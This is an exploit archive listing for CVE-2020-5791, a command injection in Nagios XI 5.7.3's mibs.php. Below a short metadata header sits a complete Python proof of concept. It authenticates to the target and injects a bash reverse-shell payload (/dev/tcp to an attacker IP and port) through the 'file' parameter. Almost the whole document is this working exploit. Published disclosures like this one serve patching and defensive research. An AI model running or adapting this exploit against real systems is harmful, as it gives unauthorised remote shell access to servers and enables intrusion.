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Nagios XI 5.7.3 Remote Command Injection

Nagios XI 5.7.3 Remote Command Injection
Posted Oct 28, 2020
Authored by Chris Lyne, Matthew Aberegg

Nagios XI version 5.7.3 mibs.php remote command injection exploit.

tags | exploit, remote, php
advisories | CVE-2020-5791
MD5 | 8e729d2d07e2d318addb68643737cde7

Nagios XI 5.7.3 Remote Command Injection

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# Exploit Title: Nagios XI 5.7.3 - 'mibs.php' Remote Command Injection (Authenticated)
# Date: 10-27-2020
# Vulnerability Discovery: Chris Lyne
# Vulnerability Details: https://www.tenable.com/security/research/tra-2020-58
# Exploit Author: Matthew Aberegg
# Vendor Homepage: https://www.nagios.com/products/nagios-xi/
# Vendor Changelog: https://www.nagios.com/downloads/nagios-xi/change-log/
# Software Link: https://www.nagios.com/downloads/nagios-xi/
# Version: Nagios XI 5.7.3
# Tested on: Ubuntu 20.04
# CVE: CVE-2020-5791

#!/usr/bin/python3

import re
import requests
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# Credit: Chris Lyne for vulnerability discovery and original PoC

if len(sys.argv) != 6:
print("[~] Usage : ./exploit.py https://NagiosXI_Host/, Username, Password, Attacker IP, Attacker Port")
exit()

host = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
attacker_ip = sys.argv[4]
attacker_port = sys.argv[5]

login_url = host + "/nagiosxi/login.php"
payload = ";/bin/bash -c 'bash -i >& /dev/tcp/{0}/{1} 0>&1';".format(attacker_ip, attacker_port)
encoded_payload = urllib.parse.quote_plus(payload)


def exploit():
s = requests.Session()
login_page = s.get(login_url)
nsp = re.findall('var nsp_str = "(.*?)"', login_page.text)

res = s.post(
login_url,
data={
'nsp': nsp,
'page': 'auth',
'debug': '',
'pageopt': 'login',
'redirect': '/nagiosxi/index.php?',
'username': username,
'password': password,
'loginButton': ''
},
verify=False,
allow_redirects=True
)

injection_url = host + "/nagiosxi/admin/mibs.php?mode=undo-processing&type=1&file={0}".format(encoded_payload)
res = s.get(injection_url)

if res.status_code != 200:
print("[~] Failed to connect")

if __name__ == '__main__':
exploit()
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